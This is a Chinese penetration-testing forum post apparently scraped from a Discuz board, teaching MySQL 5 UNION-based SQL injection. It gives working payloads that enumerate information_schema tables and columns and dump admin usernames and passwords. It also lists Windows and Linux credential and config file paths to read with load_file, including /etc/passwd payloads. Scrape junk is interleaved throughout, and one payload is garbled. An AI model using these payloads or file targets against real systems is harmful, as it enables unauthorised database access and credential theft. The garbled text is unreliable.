中国网络渗透测试联盟
标题:
mysql5.0注入原理
[打印本页]
作者:
admin
时间:
2013-3-7 13:24
标题:
mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
$ Y# S9 @9 s B2 _
. k9 U! V$ J) V
5 i, ~4 @! ^! u4 e
$ N2 ^& h1 Q; W2 g/ d; @- h
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
% m3 J+ }8 J4 F& j) r; W3 J4 a" i
中记录了Mysql中所有
1 Q, p: X# \( E; t2 ~# k. K2 n
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
8 Q' _. k& r: Q( o" D% G
明。
" Q y4 m8 b' ` n& D
1.得到所有数据库名:
* \: `0 U' q2 J: K7 T
|SCHEMATA ->存储数据库名的表
( t8 I# [6 x {9 d& E
|—字段:SCHEMA_NAME ->数据库名称
2 h( B7 |2 R k% W7 u
: I, B2 K3 r! ^3 g
|TABLES ->存储表名
5 b9 ]/ _& o, A5 f7 p( j
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
. L5 Y9 I/ N/ P# m) c
|—字段:TABLE_NAME ->存储表的表名
7 E' ]8 [$ m# L) ]& w! F
- B1 v" O k* T S1 }( M
|COLUMNS ->存储的字段名表
/ H+ e, X6 |8 S. c3 |7 V
|—字段:TABLE_SCHEMA ->该字段所属数据库名
: Y4 y* }9 y/ y) ?# R+ g3 D
|—字段:TABLE_NAME ->存储所属表的名称
: }$ d$ Z# m, M! c$ w5 I; N
# i5 p. i$ W8 i* z
|—字段:COLUMN_NAME ->该字段的名称
$ x& R+ ~ Q) b+ m' S
- F9 r% S9 g/ Y9 J
#########################################################################
. e8 N+ ^. B( n) F: K# u- k9 `
##
& Z# `* d% A7 H4 a. H7 r5 O2 M6 K: N
v, U( S- x3 `! F& Z: s7 h. I
0×001 获取系统信息:
" G7 x+ W8 h! u, n
# r) u4 |- ?, r$ ]" Z
union select 1,2,3,4,5,concat
7 P" [% C) G: v" q A
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
* E" d4 S8 }$ `% z% ^
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
) }9 T+ M) N1 ~3 M. E
: B* J3 n! u; H6 S& @( ?
/*
0 y$ Q9 V- \7 j
' }* H5 J6 N! `$ {/ r/ `0 Q/ v1 n
@@global.version_compile_os 获取系统版本
8 M8 t: r4 ]- Y) o, T _0 X; |
: @% @1 {( H: Q* i
@@datadir 数据库路径
! i& o! [# S- s2 s! |
database() 当前数据库名称
6 j( r3 J4 D# `& d
0x3c62723e 换行HEX值
- G2 R" Y8 {, i k: v# p3 l7 N
- z8 `- Z+ Z# Q) a7 Z
*/
4 P: l, y! q' _
+ M B1 I( Q) @! }4 N# Q
######################################################################
) V1 f$ `- q* `3 q; I
# c) I8 h$ j& R6 e. K! c2 Y
0×002 获取表名
; B7 }& T7 @/ A- K- q0 V
- ~/ u1 \ i8 p
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
* l1 U. g" i0 K2 `6 o. {) P! A
information_schema.tables where table_schema=0x67617264656e /*
1 M$ e* N" h6 O& P
_0 }& W* { f" z9 n3 x
/*
" e, e4 _" a# F7 f) f
) D: q8 k0 r+ p1 o5 B( W
0x67617264656e 为当前数据库名
Y$ p+ u3 q: ^5 W- G* a/ ]
/ y% M! a& O+ z. D$ `
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
9 O& M' W' I, I
% G; i. [: B; c: m! p
*/
9 K) @; V/ r( q3 ^
! @+ V& H# I* d1 D# z
######################################################################
: s' I$ ]$ e. M( \, P
: y# Q1 h% t3 e
0×003 获取字段
. y; A1 e. H3 O9 p) I* I- m0 U, B
5 G& W5 P: Y8 ^4 Z
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
. F0 h5 h$ j2 x4 W/ Z7 ~
information_schema.columns where table_name=0x61646d696e and
1 g; F: n" D3 [/ t1 Q) K# K4 s' ^/ \
0 e2 f2 X! [1 U$ S9 l. C, z% t# @
% U1 J6 s: O. `4 e C) F
table_schema=0x67617264656e limit 1 /*
! v5 R+ H) d' q2 F* p- t/ J' W
' L7 e+ k% ]$ H
/*
" g3 q3 ?' W/ n Y5 I% j
1 h7 G" i+ O( C0 w4 A
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
! d5 Z E8 o D' U
0 Y5 A' {8 U& V7 @( f$ v; ~
0x61646d696e ->选择一个表
d k3 K4 q* E
& P( J: `" g9 m6 v( T
0x67617264656e ->数据库名
* [4 }# S0 d6 L5 O/ k& N) Y
! S, L) k8 ^# f+ w
*/
: N' i% h3 Q6 R: j8 ~
1 i: Y0 w8 v& ~9 |+ q
#####################################################################
' f% I) P/ I6 D( K- j0 ~! p0 C; U
3 Z, K6 ]1 \6 R
0×004 获取数据
- z' K1 m. q8 n4 N, ^' I" o9 e$ m
2 c! j: y* P6 V! T: @! G+ j% n( X
union select 1,2,3
+ g1 e& Y' u$ k# {' |) y, Q/ y2 E
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
# W' b0 S# V( i3 B% F
' a8 J- Z; ?# I" [- r
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
7 u8 J" C+ e, E
(adpassword),6,7,8 from admin
* _) d4 m5 P! J
$ [3 O3 O# Z# c* @
/*
' J/ ~4 n# x6 u3 }
3 s0 d# @1 S% h! q J
0x3c62723e 换行符号HEX编码
# W6 L: }9 b+ o- D2 H3 ]
2 [. U1 ]: o" G3 J0 U* c8 I' {6 G8 H0 @
group_concat 同时获得该字段所有数据
! _6 i/ M$ K$ E* z8 A/ K% Z/ j+ @/ P
6 K; p* o" S5 O! K {' b
*/
. _8 v: B5 j+ o
7 F; y$ O! q' M& R) a+ W
9 ?9 f2 u; n8 ]8 u4 h6 M7 k
7 h$ B$ O+ O6 P, D* P
v K. Z- Q3 ~& r; Z+ Y
3 X9 N3 A/ F8 U5 a8 l
顺便添加一些mysql注入时非常有用的一些东西
% z5 ]! b2 s1 ?/ c
: V* a8 I4 [0 z- h) i5 H
简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
+ k2 c& ]( m' l1 B% i$ P0 W% k: q
5 P ]% v# ^, ^: X: {2 v( Z8 {
1:system_user() 系统用户名
6 o9 ~* B( l6 H
2:user() 用户名
' i5 w+ m; i( S9 Y, w
3:current_user() 当前用户名
; a7 V; A p! H$ K" d# C
4:session_user()连接数据库的用户名
- b. t2 b2 t& q- I" }3 l
5:database() 数据库名
, e1 B4 W _, \$ {
6:version() MYSQL数据库版本
! t) F* L5 c+ H7 l! y6 _7 V3 z1 K
7:load_file() MYSQL读取本地文件的函数
% q5 o5 R, D! c r% E) {
8
@datadir 读取数据库路径
; e2 L# r3 e8 N9 @, p, ^- x! w
9
@basedir MYSQL 安装路径
4 k; S5 e) r( p1 P/ R: D
10
@version_compile_os 操作系统 Windows Server 2003,
: X9 O$ n' ^' t6 u: Q
收集的一些路径:
% p* l3 I: H% @3 S$ Q9 @3 U7 V
WINDOWS下:
$ _6 }! T7 F9 d$ F7 x
c:/boot.ini //查看系统版本
5 s& J0 w$ h8 J* K: e
c:/windows/php.ini //php配置信息
& {- {7 v' w* h+ r
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
" E& j6 \/ y5 a. l4 |, @
c:/winnt/php.ini
0 ~) ~3 F9 b: e# _( g8 c+ a8 T
c:/winnt/my.ini
* S( Y7 ?; J a2 i1 I
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
* }) U) W- t( W, i& P
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
" a" h* e+ H8 t: a w/ O
c:\Program Files\Serv-U\ServUDaemon.ini
' ?' t6 {1 W) N" _9 r% L. E
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
" _0 f, `' G3 U- \
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
8 ~+ u, A6 q" U5 m& p9 V1 P
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
& f7 y" {5 I# S: _
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
% F5 A3 T& g# m4 c9 ~- h
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
# `0 ?/ ?8 E( z" J. O
//存储了pcAnywhere的登陆密码
; t9 `% A2 L( q
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
3 I% b8 @& x) ^+ Z0 h. `2 R
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
7 G1 J& Q5 Q, [0 x6 V
- x# V* P6 _, t- y3 o7 x& U
5 X, y9 E `2 u" S, z% t1 ^
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
/ i9 k+ o! d* x& y2 n/ ?, J
d:\APACHE\Apache2\conf\httpd.conf
9 }# P' m6 F, m/ @
C:\Program Files\mysql\my.ini
0 s! _) O+ M+ ^% r) c* ^1 V
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
: @( c! m7 v! H
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
) J/ y; N0 |* k- f9 @/ O1 ^; {
0 J1 U. T# k5 H9 s& ~
LUNIX/UNIX下:
8 |$ u2 c% a7 R8 u9 w$ Q
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
) ~* A1 v4 `# T$ z
/usr/local/apache2/conf/httpd.conf
- u) m4 g$ T' z& ]0 t# S
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
7 i( Y0 f. M# E2 \: @+ y
/usr/local/app/php5/lib/php.ini //PHP相关设置
6 Q* G" N' w& ^* W- S" }& H1 O
/etc/sysconfig/iptables //从中得到防火墙规则策略
2 h1 F/ {; M4 V; |5 {; Q
/etc/httpd/conf/httpd.conf // apache配置文件
8 v) {1 d5 M0 ]/ f: S
/etc/rsyncd.conf //同步程序配置文件
* H4 P V% {! \$ G! q* p" u+ m
/etc/my.cnf //mysql的配置文件
/ R- j/ z' Y0 m( e4 X) @
/etc/redhat-release //系统版本
) O; ^# x4 L; x ^. H( Q9 t
/etc/issue
* l8 M) a7 h8 X( z" g6 n: f* G3 G6 l
/etc/issue.net
7 p' l; v' ^! A
/usr/local/app/php5/lib/php.ini //PHP相关设置
+ z) K# V$ T% s- a
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
: M1 O! ?! H, v' [+ h- t1 o; P' }
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
6 @5 T9 B# ~, [9 P. n1 @+ j/ M
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
# L8 ], Q% g) P4 u
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
0 t4 R9 U7 K4 L2 Y m8 P' u
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
' ?0 P4 ]$ y# V) F5 j/ e% \
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
( P& u4 R9 R" X T# @. v
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
8 V3 V9 v L5 ]0 Z( w
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
' `; g; Y* J& G" G
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
5 r+ I9 [1 d8 W# d
/etc/sysconfig/iptables 查看防火墙策略
9 E: D+ U3 ?! `& |$ @; _
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
" I* {) l/ j3 z
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
, {) I' j$ Q+ T6 \/ o2 W
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
% T" X/ J% \! N/ S5 u- X& k x
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
* ~- v5 [$ v7 K( F
% ^3 j2 L4 @+ Q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2